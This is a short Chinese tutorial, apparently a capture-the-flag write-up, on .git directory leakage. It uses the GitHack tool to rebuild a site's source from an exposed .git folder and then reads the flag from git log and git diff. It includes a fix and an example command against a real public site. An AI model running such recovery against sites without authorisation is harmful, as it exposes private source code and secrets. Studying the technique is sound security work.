Git是一个开源的分布式版本控制系统,在执行git init初始化目录的时候,会在当前目录下自动创建一个.git目录,用来记录代码的变更记录等。发布代码的时候,如果没有把.git这个目录删除,就直接发布到了服务器上,攻击者就可以通过它来恢复源代码;
项目地址 :GitHub - BugScanTeam/GitHack: .git 泄漏利用工具,可还原历史版本
修复建议 :删除.git目录或者修改中间件配置进行对.git隐藏文件夹的访问;
用法方式:GitHack.py http://www.openssl.org/.git/
# 安装GitHack
git clone https://github.com/BugScanTeam/GitHack
# 开始对网站进行git源码泄露操作
python2 GitHack.py +url/.git
# 查看disk文件夹,发现有文件,说明源码泄露。
cd dist
# 使用命令发现flag
git log
# 然后我们对比两次的记录,最后得到flag
git diff +两个文件名
好小子 ,离成功又进了一步!!!!